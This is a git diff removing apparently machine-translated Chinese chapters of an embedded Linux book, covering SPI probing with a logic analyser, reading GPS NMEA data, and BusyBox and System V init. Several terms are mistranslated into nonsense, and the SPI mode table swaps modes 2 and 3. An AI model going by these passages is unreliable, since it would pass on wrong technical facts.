在可能缺少焊料的地方添加一些焊料。 一旦您对此返工感到满意,请重新连接跳线,然后重新尝试此练习。 如果运气好的话,这一次的结果会更好或不同。 - -本练习的成功完成结束了本项目所需的所有焊接和布线。 如果您急于看到成品投入使用,您可以跳过下一节,直接跳到*通过 SPI*接收 NMEA 消息一节。 一旦您将 NMEA 数据从 GPS 模块传输到终端窗口,我们就可以从这里停止的地方继续学习 SPI 信号和数字逻辑。 - -# 用逻辑分析仪探测 SPI 信号 - -即使您成功地从您的 GPS 模块接收到 NMEA,您也应该附加一个逻辑分析仪,如 Saleae Logic 8(如果您有的话)。 探测 SPI 信号有助于我们理解 SPI 协议是如何工作的,并在出错时充当强大的调试助手。 在本节中,我们将使用 Saleae Logic 8 对 Beaglebone Black 和 Zoe-M8Q 之间的 SPI 信号进行采样。 如果四个 SPI 信号中的任何一个信号出现明显故障,逻辑分析器就应该让这个错误变得显而易见。 - -Saleae Logic 8 需要一台带 USB 2.0 端口的笔记本电脑或台式电脑。 Saleae Logic 1 软件可用于 Linux、Mac OS X 和 Windows。 Linux 版本的 Logic 附带了一个`installdriver.sh`脚本,该脚本授予软件访问设备的权限。 在 Logic 安装的`Drivers`目录中找到该脚本并从命令行运行它,这样就不需要每次都使用`sudo`启动 Logic。 在安装文件夹中创建`Logic`可执行文件的快捷方式,并将其放在桌面或启动栏上,以加快访问速度。 - -在系统上安装 Logic 1 软件后,使用随附的高速 USB 电缆连接到该设备。 启动`Logic`应用,等待软件连接并配置设备。 当逻辑窗口显示顶部已**连接**时,我们就可以开始连接测试台了。 用你的拇指在每个测试夹子的宽端向下按以伸展抓取器,然后松开以卡住销子。 使用放大率读取通孔旁边的标签,并确保测试夹牢牢地缠绕在各自的针脚上。 - -要使用 Saleae Logic 8 组装 SPI 测试台,请执行以下步骤: - -1. Connect the nine-pin cable harness to the logic analyzer. Align the cable harness so that the gray lead points at the ground symbol and the black lead points at the **1** are on the underside of the logic analyzer, as shown here: - - ![Figure 12.16 – Saleae Logic 8](img/B11566_12_16.jpg) - - 图 12.16-Saleae Logic 8 - -2. 将测试夹连接到灰色、橙色、红色、棕色和黑色导线的末端。 每个测试夹子都有两个金属引脚,可以插入导线末端的连接器中。 只将这些引脚中的一个连接到导线上。 黑色、棕色、红色和橙色引线对应于逻辑分析仪中的前四个通道。 灰色导线始终连接到 GND。 -3. 断开 Beaglebone Black 与 5V 电源的连接,使其关闭。 -4. 将除 3v3 外的所有跳线的母端从我们焊接到 GPS 接线上的插头针脚中拔出。 -5. 用橙色引线上的夹子抓住 GPS 引线上的 CS 引脚。 -6. 用红色引线上的夹子抓住 GPS 出口上的 SCLK 针脚。 -7. 用灰色引线上的夹子抓住 GPS 引线上的接地引脚。 -8. 跳过 NC 和 3V3 引脚,因为我们不会探测这些引脚。 -9. 用黑色引线上的夹子抓住 GPS 引线上的 MOSI 引脚。 -10. 用棕色引线上的夹子抓住 GPS Breakout 上的味增别针。 -11. Reconnect the female ends of the jumper wires to the header pins we soldered onto the GPS Breakout. If the jumper wires are already connected, then just slide the female ends up the header pins a bit and attach the test clips. Push the female ends down onto the pins so that they do not slip off easily. The finished assembly should look something like this: - - ![Figure 12.17 – Test clips attached for probing](img/B11566_12_17.jpg) - - 图 12.17-用于探测的测试夹子 - - 在我的例子中,黄色跳线是 3v3,所以没有附加测试夹。 蓝色跳线是 MOSI,由逻辑分析仪的黑色引线探测。 - -12. 将 Beaglebone Black 重新连接至 5V 电源。 GPS 分支应通电,板载电源 LED 应亮起红色。 - -要配置 Logic 8,使其在四个 SPI 通道上采样,请执行以下步骤: - -1. 启动 Logic 应用并等待其通过 USB 端口连接到逻辑分析仪。 -2. Click on the **+** sign in the **Analyzers** pane to add an analyzer: - - ![Figure 12.18 – Add Analyzer](img/B11566_12_18.jpg) - - 图 12.18-添加分析器 - -3. 从**添加分析器**弹出菜单中选择**SPI**。 -4. Click the **Save** button in the **Analyzer Settings** dialog: - - ![Figure 12.19 – Analyzer Settings](img/B11566_12_19.jpg) - - 图 12.19-分析器设置 - - **CPOL**和**CPHA**代表时钟极性和时钟相位。 CPOL 为 0 表示时钟在不活动时为低,而 CPOL 为 1 表示时钟在不活动时为高。 CPHA 为 0 表示数据在时钟前沿有效,而 CPHA - 为 1 表示数据在时钟后沿有效。 有四种不同的 SPI 模式可用:模式 0(CPOL=0,CPHA=0)、模式 1(CPOL=0,CPHA=1)、模式 2(CPOL=1,CPHA=1)和模式 3(CPOL=1,CPHA=0)。 ZOE-M8Q 默认为 SPI 模式 0。 - -5. Click on the cog button next to **Channel 4** on the left sidebar to bring up the **Channel Settings** pop-up menu: - - ![Figure 12.20 – Hide This Channel](img/B11566_12_20.jpg) - - 图 12.20-隐藏此通道 - -6. 从**通道设置**菜单中选择**隐藏此通道**。 -7. 对通道 5、6 和 7 重复*步骤 5*和*6*,以便只有通道 0 到 3 可见。 -8. 单击左侧栏上通道 0(MOSI)旁边的齿轮按钮,调出**通道设置**弹出菜单。 -9. Select **4x** from the **Channel Settings** menu: - - ![Figure 12.21 – Enlarging the channel](img/B11566_12_21.jpg) - - 图 12.21-放大通道 - -10. 对通道 1 至 3(MISO、时钟和启用)重复*步骤 8*和*9*,以放大这些信号图形。 -11. 单击左侧侧栏上通道 3(启用)齿轮按钮右侧的按钮,调出**触发设置**弹出菜单。 使能对应于 SPI CS,因此我们希望在接收到来自该通道的事件时开始采样。 -12. Select the falling edge symbol as the trigger from the **Trigger Settings** menu: - - ![Figure 12.22 – Selecting the falling edge trigger](img/B11566_12_22.jpg) - - 图 12.22-选择下降沿触发器 - -13. 单击左上角**开始**按钮上的上/下箭头符号,设置采样速度和持续时间。 -14. 将速度降低到**2 MS/s**,并将持续时间设置为**50 毫秒**: - -![Figure 12.23 – Lowering the speed and duration](img/B11566_12_23.jpg) - -图 12.23-降低速度和持续时间 - -根据经验,采样率应该至少是带宽的四倍。 按照这种方法,1 MHz SPI 端口需要的最低采样速率为 4 MS/s。由于`spidev_test`将 SPI 端口的速度设置为 500 kHz,因此 2 MS/s 的采样速率应该刚好可以跟上。 欠采样会导致不规则的时钟信号。 Beaglebone Black 上的 SPI 端口的运行速度可高达 16 MHz。 事实上,16 MHz 是我们的自定义`nova.dts`中的默认速度`spi0.0`,如`dmesg`所示。 - -要从 Beaglebone Black 捕捉 SPI 传输,请点击左上角的**Start**按钮。 如果 CS 信号运行正常,则在运行`spidev_test`程序之前不应开始捕获。 - -当从`debian@bealglebone`终端执行`spidev_test`时,应触发采样,并在**逻辑**窗口中出现如下图形: - -![Figure 12.24 – spidev_test transmission](img/B11566_12_24.jpg) - -图 12.24-spidev_test 变速箱 - -使用鼠标上的滚轮可以放大和缩小信号图形中任何有趣的部分。 请注意,只要通道 0(MOSI)上的 Beaglebone Black 发送数据,通道 3 上的使能图形就会降为低电平。 SPI 的 CS 信号通常为**有效低**,因此当没有数据传输时,使能图跳高。 如果使能图保持高电平,则不会向 GPS 模块发送更多数据,因为该外设永远不会在 SPI 总线上使能。 - -以下是频道 0 上一段有趣的 MOSI 图表的特写: - -![Figure 12.25 – MOSI segment](img/B11566_12_25.jpg) - -图 12.25-MOSI 网段 - -注意,记录的**0x40 0x00 0x00 0x00 0x95**字节序列与`spidev_test`的默认 Tx 缓冲区的内容相匹配。 如果您在通道 1 上看到相同的字节序列,则 MOSI 和 MISO 导线可能在您的电路 -中的某个位置互换。 - -以下是 SPI 传输的末尾: - -![Figure 12.26 – End of spidev_test transmission](img/B11566_12_26.jpg) - -图 12.26-spidev_test 传输结束 - -请注意,该数据段通道 0(MOSI)的最后两个字节为 0xF0 和 0x0D,与默认发送缓冲器中的情况相同。 此外,请注意,每当传输一个字节时,通道 2 上的时钟信号都会振荡固定的周期数。 如果时钟信号看起来不规则,那么要么是正在发送的数据丢失或损坏,要么是您的采样率不够快。 通道 1(MISO)的信号图形在整个会话期间保持高电平,因为在第一次 SPI 传输时没有收到来自 GPS 模块的 NMEA 消息。 - -如果通道 3(使能)上的信号设置为逻辑 0 状态,则表明正在探测的引脚在未设置`PULL_UP`位的情况下进行了多路复用。 当 CS 信号无效时,`PULL_UP`位的作用类似于上拉电阻器,使线路保持高电平,因此术语“低电平有效”。 如果您在 2 以外的通道上看到看起来像时钟信号的东西,则可能是我们探测了错误的引脚,或者是将 SCLK 换成了另一条线。 如果信号图与最后三个图中的图像匹配,则我们已成功验证 SPI 是否按预期运行。 - -现在,我们的嵌入式武器库中又多了一个强大的工具。 除 SPI 外,逻辑 8 还可用于探测和分析 I2C 信号。 在下一节中,我们将再次使用它来检查从 GPS 模块接收的 NMEA 消息。 - -# 通过 SPI 接收 NMEA 消息 - -NMEA 是大多数 GPS 接收机支持的数据消息格式。 默认情况下,ZOE-M8Q 输出 NMEA 语句。 这些句子是 ASCII 文本,以`$`字符开头,后跟逗号分隔的字段。 原始 NMEA 消息并不总是易于阅读,因此我们将使用解析器向数据字段添加有用的注释。 - -我们要做的是从`/dev/spidev0.0`接口读取来自 ZOE-M8Q 的 NMEA 语句流。 由于 SPI 是全双工的,这也意味着写入`/dev/spidev0.0`,尽管我们可以简单地一遍又一遍地写入相同的 0xFF 值。 有一个叫做`spi-pipe`的程序就是为做这类事情而设计的。 它和`spi-config`一起是`spi-tools`包的一部分。 我没有依赖于`spi-pipe`,而是选择修改`spidev-test`,以便它将来自 GPS 模块的 ASCII 输入流式传输到标准输出。 我的`spidev-read`程序的源代码可以在本书的代码归档中找到,位于`MELP/Chapter12/spidev-read`目录中。 - -要编译`spidev_read`程序,请使用以下命令: - -```sh -debian@beaglebone:~$ cd MELP/Chapter12/spidev-read -$ gcc spidev_read.c -o spidev_read -``` - -现在,运行`spidev_read`程序: - -```sh -$ ./spidev_read -spi mode: 0x0 -bits per word: 8 -max speed: 500000 Hz (500 KHz) -$GNRMC,,V,,,,,,,,,,N*4D -$GNVTG,,,,,,,,,N*2E -$GNGGA,,,,,,0,00,99.99,,,,,,*56 -$GNGSA,A,1,,,,,,,,,,,,,99.99,99.99,99.99*2E -$GNGSA,A,1,,,,,,,,,,,,,99.99,99.99,99.99*2E -$GPGSV,1,1,00*79 -$GLGSV,1,1,00*65 -$GNGLL,,,,,,V,N*7A -[…] -^C -``` - -您应该每秒看到一次 NMEA 语句。 按*Ctrl+C*取消流并返回到命令行提示符。 - -让我们用 Logic 8 捕获这些 SPI 传输: - -1. 单击左上角的**Start**按钮上的向上/向下箭头符号更改采样持续时间。 -2. 将新持续时间设置为`3`秒。 -3. 单击左上角的**开始**按钮。 -4. 再次运行`spidev_read`程序。 - -逻辑软件应在 3 秒后停止捕获,**Logic**窗口中应出现类似于以下内容的图形: - -![Figure 12.27 – spidev_read transmissions](img/B11566_12_27.jpg) - -图 12.27-spidev_read 传输 - -我们可以清楚地看到第一频道(MISO)上 NMEA 句子的三个突发点,恰好相隔 1 秒。 - -放大看一下以下 NMEA 句子中的一句: - -![Figure 12.28 – NMEA sentence segment](img/B11566_12_28.jpg) - -图 12.28-NMEA 句子段 - -请注意,MISO 通道上的数据现在与使能信号中的下降和时钟信号上的振荡一致。 `spidev_read`程序仅将`0xFF`字节写入 MOSI,因此通道 0 上没有活动。 - -我已经包括了一个用 Python 编写的 NMEA 解析器脚本,以及`spidev_read`源代码。 该`parse_nmea.py`脚本依赖于`pynmea2`库。 - -要在 Beaglebone Black 上安装`pynmea2`,请使用以下命令: - -```sh -$ pip3 install pynmea2 -Looking in indexes: https://pypi.org/simple, https://www.piwheels.org/simple -Collecting pynmea2 - Downloading https://files.pythonhosted.org/packages/88/5f/a3d09471582e710b4871e41b0b7792be836d6396a2630dee4c6ef44830e5/pynmea2-1.15.0-py3-none-any.whl -Installing collected packages: pynmea2 -Successfully installed pynmea2-1.15.0 -``` - -要将`spidev_read`的输出通过管道传输到 NMEA 解析器,请使用以下命令: - -```sh -$ cd MELP/Chapter12/spidev-read -$ ./spidev_read | ./parse_nmea.py -``` - -解析的 NMEA 输出如下所示: - -```sh - - - - - - - - -[…] -``` - -我的 GPS 模块看不到任何卫星,也无法获得固定位置。 这可能是由于许多原因,比如选择了错误的 GPS 天线,或者没有清晰的天空视线。 如果您正在经历类似的失败,这是可以接受的。 射频很复杂,本章的目的只是为了证明我们可以在 GPS 模块工作的情况下进行 SPI 通信。 现在我们已经做到了这一点,我们可以开始试验备用 GPS 天线和 Zoe-M8Q 的更多高级功能,例如它对更丰富的 Ubx 消息协议的支持。 - -随着 NMEA 数据现在流向终端,我们的项目完成了。 我们成功地验证了 Beaglebone Black 可以通过 SPI 与 Zoe-M8Q 进行通信。 如果您跳过了*使用逻辑分析仪探测 SPI 信号*部分,现在是继续该练习的好时机。 与 I2C 一样,大多数 SoC 都支持 SPI,因此值得熟悉,特别是当您的应用需要高速外设时。 - -# 摘要 - -在本章中,我们学习了如何将外围设备与流行的 SoC 集成。 要做到这一点,我们必须使用从数据表和原理图中收集的知识来复用引脚并修改设备树源。 在没有成品硬件的情况下,我们不得不依靠分路板并进行一些焊接,以便将部件与开发板连接在一起。 最后,我们学习了如何使用逻辑分析仪来验证和排除电信号故障。 现在我们有了可以工作的硬件,我们可以开始开发我们的嵌入式应用了。 - -接下来的两章都是关于系统启动和`init`程序的不同选项,从简单的 BusyBox`init`到更复杂的系统,如 System V`init`、`systemd`和 BusyBox 的`runit`。 您选择的`init`程序可能会在引导时间和容错方面对产品的用户体验产生重大影响。 - -# 进一步阅读 - -以下资源提供了有关本章中介绍的主题的详细信息: - -* *SPI 接口简介*,Piyu Dhaker:[https://www.analog.com/en/analog-dialogue/articles/introduction-to-spi-interface.html](https://www.analog.com/en/analog-dialogue/articles/introduction-to-spi-interface.html) -* *焊接很容易*,作者:Mitch Altman,Andie Nordgren 和 Jeff Keyzer:[HTTPS://mightyohm.com/blog/2011/04/焊接很容易-漫画书](https://mightyohm.com/blog/2011/04/soldering-is-easy-comic-book) -* *SparkFun GPS Breakout(ZOE-M8Q 和 SAM-M8Q)连接指南*,作者:Elias the SparkFun:[https://learn.sparkfun.com/tutorials/sparkfun-gps-breakout-zoe-m8q-and-sam-m8q-hookup-guide](https://learn.sparkfun.com/tutorials/sparkfun-gps-breakout-zoe-m8q-and-sam-m8q-hookup-guide) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/13.md b/docs/master-emb-linux-prog/13.md deleted file mode 100644 index cb997199..00000000 --- a/docs/master-emb-linux-prog/13.md +++ /dev/null @@ -1,614 +0,0 @@ -# 十三、启动——初始化程序 - -在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中,我们研究了内核如何引导到它启动第一个程序`init`的位置。 在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*,以及[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中,我们研究了创建不同复杂性的根文件系统,所有这些都包含一个`init`程序。 现在,是更详细地查看`init`程序的时候了,并发现为什么它对 -系统的其余部分如此重要。 - -`init`有许多可能的实现。 在本章中,我将描述三个主要的组件:BusyBox`init`、System V`init`和`systemd`。 对于每一种情况,我都会概述它的工作原理和最适合的系统类型。 这其中的一部分是平衡大小、复杂性和灵活性之间的权衡。 我们将学习如何使用 BusyBox`init`和 System V`init`启动守护进程。 我们还将学习如何向`systemd`添加执行相同操作的服务。 - -在本章中,我们将介绍以下主题: - -* 在内核引导之后 -* 介绍`init`计划 -* BusyBox`init` -* 系统 V`init` -* `systemd` - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* Buildroot 2020.02.9 LTS 版本 -* Yocto 3.1(邓费尔)LTS 版本 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Buildroot 的 2020.02.9 LTS 版本。 如果没有,请参考*Buildroot 用户手册*([https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html))的*系统要求*部分,然后再按照[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Buildroot。 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*构建了 Yocto 的 3.1(Dunfall)LTS 发行版。 如果没有,请参考*Yocto Project Quick Build*指南([https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html))的*Compatible Linux Distribution*和*Build Host Packages*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上构建 Yocto。 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter13`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 在内核引导之后 - -我们在[*第 4 章*](04.html#_idTextAnchor085),*Configuring and Building the Kernel*中看到了内核引导代码如何查找根文件系统(`initramfs`或内核命令行上`root=`指定的文件系统),然后执行一个程序,缺省情况下,`initramfs`的根文件系统为`/init`,常规文件系统的默认文件系统为`/sbin/init`。 `init`程序具有`root`权限,并且由于它是第一个运行的进程,因此它的**进程 ID**(**PID**)为`1`。 如果由于某种原因无法启动`init`,内核将死机。 - -`init`程序是所有其他进程的祖先,如下所示,在一个简单的嵌入式 Linux 系统上运行`pstree`命令: - -```sh -# pstree -gn -init(1)-+-syslogd(63) -        |-klogd(66) -        |-dropbear(99) -        `-sh(100)---pstree(109) -``` - -`init`程序的任务是控制用户空间中的引导进程并将其设置为运行。 它可能与运行 Shell 脚本的`shell`命令一样简单-在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*的开头有一个这样的示例-但在大多数情况下,您将使用专用的`init`守护进程来执行以下任务: - -* 在引导期间,在内核转移控制之后,`init`程序启动其他守护程序,并配置系统参数和其他使系统进入工作状态所需的设置。 -* 或者,它在允许 - 登录 shell 的终端上启动登录守护进程,比如`getty`。 -* 它采用由于其直接父进程终止而变成孤立的进程,并且线程组中没有其他进程。 -* 它通过捕获`SIGCHLD`信号并收集返回值来响应`init`的任何直接子进程的终止,以防止它们成为僵尸进程。我将在[*第 17 章*](17.html#_idTextAnchor473),*了解进程和线程*中更多地讨论僵尸。 -* 或者,它还可以重新启动那些已终止的守护进程。 -* 它处理系统关机。 - -换句话说,`init`管理系统从启动到关闭的生命周期。 有一种观点认为,`init`非常适合处理其他运行时 -事件,例如新硬件和模块的加载和卸载。 这就是`systemd`所做的。 - -# 介绍初始化程序 - -您是在嵌入式设备中最有可能遇到的三个`init`程序是 BusyBox`init`、System V`init`和`systemd`。 Buildroot 可以选择以 BusyBox`init`作为缺省值构建所有这三个选项。 Yocto 项目允许您轻松地在系统 V`init`和系统 V`systemd`之间进行选择,并将系统 V`init`作为默认设置。 虽然 Yocto 微不足道的发行版附带了 BusyBox`init`,但大多数其他分布层没有。 - -下表提供了一些用于比较这三个指标的指标: - -![](img/B11566_13_Table_01.jpg) - -(*)BusyBox`init`是 BusyBox 的单个可执行文件的一部分,该文件针对磁盘上的大小 -进行了优化。 - -(**)基于`systemd`的 Buildroot 配置。 - -一般说来,从 BusyBox`init`到`systemd`,灵活性和复杂性都会增加。 - -# BusyBox 初始化 - -**BusyBox**有一个最小的`init`程序,该程序使用配置文件`/etc/inittab`, -定义在启动时启动程序和在关闭时停止程序的规则。 通常, -实际工作是由 shell 脚本完成的,按照惯例,这些脚本放在 -`/etc/init.d`目录中。 - -`init`以读取`/etc/inittab`开始。 其中包含要运行的程序列表,每行一个,格式如下: - -```sh -::: -``` - -这些参数的作用如下: - -* `id`:这是命令的控制终端。 -* `action`:这包括运行该命令的条件,如下面的列表所示。 -* `program`:这是要运行的程序。 - -操作如下: - -* `sysinit`:当`init`在任何其他类型的动作 - 之前启动时运行程序。 -* `respawn`:运行程序,如果程序终止则重新启动。 它通常用于将程序作为守护程序运行。 -* `askfirst`:这与`respawn`相同,但它将消息`Please press Enter to activate this console`打印到控制台,并在按下*Enter*后运行程序。 它用于在不提示输入用户名或密码的情况下在 - 终端上启动交互式 shell。 -* `once`:运行一次程序,但如果程序终止,则不会尝试重新启动它。 -* `wait`:运行程序并等待其完成。 -* `restart`:当`init`接收到`SIGHUP`信号时运行程序,指示它应该重新加载`inittab`文件。 -* `ctrlaltdel`:当`init`接收到`SIGINT`信号时运行程序,通常是按控制台上的*Ctrl*+*Alt*+*Del*。 -* `shutdown`:在`init`关闭时运行程序。 - -下面是一个小示例,它挂载`proc`和`sysfs`,并在 -串行接口上运行一个 shell: - -```sh -null::sysinit:/bin/mount -t proc proc /proc -null::sysinit:/bin/mount -t sysfs sysfs /sys -console::askfirst:-/bin/sh -``` - -对于希望启动少量守护进程并可能在串行终端上启动登录 shell 的简单项目,手动编写脚本很容易。 如果您正在创建自己的**卷**(**Ryo**)嵌入式 Linux,这将是合适的。 但是,您会发现,随着要配置的内容数量的增加,手写的`init`脚本很快就会变得不可维护。 它们不是非常模块化,因此每次添加或删除新组件时都需要更新。 - -## 构建 root 初始化脚本 - -Buildroot 多年来一直在有效地利用 BusyBox`init`。 Buildroot 在`/etc/init.d/`中有两个脚本,名为`rcS`和`rcK`。 第一个脚本在启动时运行,并迭代`/etc/init.d/`中名称以大写`S`开头后跟两位数的所有脚本,并按的数字顺序运行它们。 这些是启动脚本。 `rcK`脚本在关机时运行,并以大写`K`开头,后跟两位数字迭代所有脚本,并按数字顺序运行它们。 这些是杀戮脚本。 - -有了这些,Buildroot 包就可以很容易地提供它们自己的启动和终止脚本,使用两位数来规定它们应该运行的顺序,这样系统就变得可扩展了。 如果您使用的是 Buildroot,则这是透明的。 如果没有,您可以将其用作编写您自己的 BusyBox`init`脚本的模型。 - -与 BusyBox`init`一样,System V`init`依赖于`/etc/init.d`内部的 shell 脚本和一个`/etc/inittab`配置文件。 虽然这两个`init`系统在许多方面相似,但系统 V`init`有更多的功能和更长的历史。 - -# 系统 V 初始化 - -这个`init`程序的灵感来自 Unix system V 的程序,因此可以追溯到 20 世纪 80 年代中期。 Linux 发行版中最常见的版本最初是由 Miquel van Smoorenburg 编写的。 直到最近,它还是几乎所有台式机和服务器发行版以及相当数量的嵌入式系统的`init`守护进程。 然而,近年来,它已被`systemd`所取代,我将在下一节中描述这一点。 - -我刚才描述的 BusyBox`init`守护进程只是 System V`init`的精简版本。 与 BusyBox`init`相比,System V`init`有两个优势: - -* 首先,引导脚本是以众所周知的模块化格式编写的,这使得在构建时或运行时添加新包变得很容易。 -* 其次,它有**运行级别**的概念,允许在从一个运行级别切换到另一个运行级别时一次性启动或停止程序集合。 - -共有八个运行级别,编号从`0`到`6`,外加`S`: - -* `S`:运行启动任务 -* `0`:停止系统 -* `1`至`5`:可通用 -* `6`:重新启动系统 - -级别`1`到`5`可以随意使用。 在桌面 Linux 发行版上,它们通常按如下方式分配: - -* `1`:单用户 -* `2`:无网络配置的多用户 -* `3`:具有网络配置的多用户 -* `4`:未使用 -* `5`:多用户图形化登录 - -`init`程序启动由`/etc/inittab`中的`initdefault`行给出的默认运行级别,如下所示: - -```sh -id:3:initdefault: -``` - -您可以在运行时使用`telinit [runlevel]`命令更改运行级别,该命令会向`init`发送一条消息。 您可以使用`runlevel`命令查找当前运行级别和上一个运行级别。 下面是一个例子: - -```sh -# runlevel -N 5 -# telinit 3 -INIT: Switching to runlevel: 3 -# runlevel -5 3 -``` - -最初,`runlevel`命令的输出为`N 5`,表示没有以前的运行级别,因为启动后运行级别没有更改,而当前运行级别为`5`。 更改运行级别后,输出为`5 3`,表明已经有 -从`5`到`3`的转换。 - -`halt`和`reboot`命令分别切换到运行级别`0`和`6`。 您可以通过在内核命令行中指定一个从`0`到`6`的单个数字作为 -来覆盖默认的运行级别。 例如,要强制运行级别为单用户,您可以将`1`附加到内核命令行,如下所示: - -```sh -console=ttyAMA0 root=/dev/mmcblk1p2 1 -``` - -每个运行级都有许多停止程序的脚本(称为终止脚本)和另一个启动程序的组(启动脚本)。 当进入新的运行级别时,`init`首先运行新级别中的终止脚本,然后运行新级别中的启动脚本。 当前正在运行且在新运行级别中既没有启动脚本也没有终止脚本的守护进程将被发送`SIGTERM`信号。 换句话说,切换运行级别上的默认操作是终止守护进程,除非被告知要终止守护进程。 - -事实上,运行级别在嵌入式 Linux 中使用的并不多:大多数设备只是引导到默认的运行级别并停留在那里。 我有一种感觉,部分原因是大多数人没有意识到这一点。 - -给小费 / 翻倒 / 倾覆 - -运行级别是在模式之间切换的一种简单方便的方式,例如,从生产模式切换到维护模式。 - -系统 V`init`是 Buildroot 和 Yocto 项目中的一个选项。 在这两种情况下,`init`脚本都去掉了任何`bash`shell 细节,因此它们将与 BusyBox`ash`shell 一起工作。 然而,Buildroot 通过将 BusyBox`init`程序替换为 System V`init`并添加一个模仿 BusyBox 行为的`inittab`来进行某种程度上的欺骗。 Buildroot 不实现运行级别,除非切换到级别`0`或`6`会停止或重新启动系统。 - -接下来,让我们看一下的一些细节。 以下示例取自 Yocto Project 3.1 版本。 其他发行版实现`init`脚本的方式可能略有不同。 - -## inittab - -`init`程序从读取`/etc/inttab`开始,该`/etc/inttab`包含定义在每个运行级别上发生的事情的个条目。 该格式是我在上一节中描述的 BusyBox`inittab`的扩展版本,这并不奇怪,因为 BusyBox 首先从 System V 借用了它。 - -`inittab`中每行的格式如下: - -```sh -id:runlevels:action:process -``` - -字段如下所示: - -* `id`:最多四个字符的唯一标识符。 -* `runlevels`:应为其执行此条目的运行级别。 这在 BusyBox`inittab`中为空。 -* `action`:下一段给出的关键字之一。 -* `process`:要运行的命令。 - -操作与 BusyBox`init`:`sysinit`、`respawn`、`once`、`wait`、`restart`、`ctrlaltdel`和`shutdown`相同。 但是,系统 V`init`没有特定于 BusyBox 的`askfirst`。 - -例如,这是由`qemuarm`机器的 Yocto Project 目标`core-image-minimal`提供的完整`inittab`: - -```sh -# /etc/inittab: init(8) configuration. -# $Id: inittab,v 1.91 2002/01/25 13:35:21 miquels Exp $ -# The default runlevel. -id:5:initdefault: -# Boot-time system configuration/initialization script. -# This is run first except when booting in emergency (-b) mode. -si::sysinit:/etc/init.d/rcS -# What to do in single-user mode. -~~:S:wait:/sbin/sulogin -# /etc/init.d executes the S and K scripts upon change -# of runlevel. -# -# Runlevel 0 is halt. -# Runlevel 1 is single-user. -# Runlevels 2-5 are multi-user. -# Runlevel 6 is reboot. -l0:0:wait:/etc/init.d/rc 0 -l1:1:wait:/etc/init.d/rc 1 -l2:2:wait:/etc/init.d/rc 2 -l3:3:wait:/etc/init.d/rc 3 -l4:4:wait:/etc/init.d/rc 4 -l5:5:wait:/etc/init.d/rc 5 -l6:6:wait:/etc/init.d/rc 6 -# Normally not reached, but fallthrough in case of emergency. -z6:6:respawn:/sbin/sulogin -AMA0:12345:respawn:/sbin/getty 115200 ttyAMA0 -# /sbin/getty invocations for the runlevels -# -# The "id" field MUST be the same as the last -# characters of the device (after "tty"). -# -# Format: -# ::: -# -1:2345:respawn:/sbin/getty 38400 tty1 -``` - -第一个条目`id:5:initdefault`将默认值`runlevel`设置为`5`。 下一个条目`si::sysinit:/etc/init.d/rcS`在引导时运行`rcS`脚本。 稍后会有更多关于这方面的信息。 再往前一点,有一组以`l0:0:wait:/etc/init.d/rc 0`开头的 6 个条目。 每次运行级别发生变化时,它们都会运行`/etc/init.d/rc`脚本。 此脚本负责处理启动脚本和 -终止脚本。 - -在接近`inittab`的末尾,有一个条目,它运行`getty`守护进程,在输入运行级别`1`到`5`时在`/dev/ttyAMA0`上生成 -登录提示,从而允许您登录并获得交互式 shell: - -```sh -AMA0:12345:respawn:/sbin/getty 115200 ttyAMA0 -``` - -`ttyAMA0`设备是我们用 QEMU 模拟的 ARM 多功能板上的串行控制台;对于其他开发板,它将有所不同。 还有一个条目要在`tty1`上运行`getty`,该条目在输入运行级别`2`到`5`时触发。 这是一个虚拟控制台,如果您使用`CONFIG_FRAMEBUFFER_CONSOLE`或`VGA_CONSOLE`构建内核,则通常会将其映射到图形屏幕。 桌面 Linux 发行版通常在虚拟终端`1`到`6`上产生 6 个`getty`守护进程,您可以使用组合键*Ctrl*+*Alt*+*F1*到*Ctrl*+*Alt*+*F6*来选择它们,虚拟终端`7`为图形屏幕保留。 Ubuntu 和 Arch Linux 是值得注意的例外,因为它们使用虚拟终端`1`处理图形。 虚拟终端很少在嵌入式设备上使用。 - -`sysinit`条目运行的是的`/etc/init.d/rcS`脚本只不过是输入运行级别`S`: - -```sh -#!/bin/sh -[…] -exec /etc/init.d/rc S -``` - -因此,输入的第一个运行级别是`S`,然后是默认运行级别`5`。 请注意,运行级别`S`不会被记录,也不会被`runlevel`命令显示为先前的运行级别。 - -## init.d 脚本 - -需要响应运行级更改的每个组件在`/etc/init.d`中都有一个脚本来执行更改。 脚本应该有两个参数:`start`和`stop`。 稍后我会举一个例子来说明这一点。 - -运行级处理脚本`/etc/init.d/rc`将它要切换到的运行级作为 -参数。 对于每个运行级别,都有一个名为`rc.d`的目录: - -```sh -# ls -d /etc/rc* -/etc/rc0.d /etc/rc2.d /etc/rc4.d /etc/rc6.d -/etc/rc1.d /etc/rc3.d /etc/rc5.d /etc/rcS.d -``` - -在那里,您将找到一组以大写`S`开头,后跟两位数字的脚本,您还可以找到以大写`K`开头的脚本。 这两个脚本分别是开始脚本和终止脚本。 以下是 runlevel`5`的脚本示例: - -```sh -# ls /etc/rc5.d -S01networking S20hwclock.sh S99rmnologin.sh S99stop-bootlogd -S15mountnfs.sh S20syslog -``` - -这些实际上是指向`init.d`中相应脚本的符号链接。 `rc`脚本首先运行以`K`开头的所有脚本,添加`stop`参数,然后运行以`S`开头的那些脚本,添加`start`参数。 同样,两位数的代码提供了脚本应该运行的顺序。 - -## 添加新的后台进程 - -假设您有一个名为`simpleserver`的程序,该程序被编写为传统的 Unix 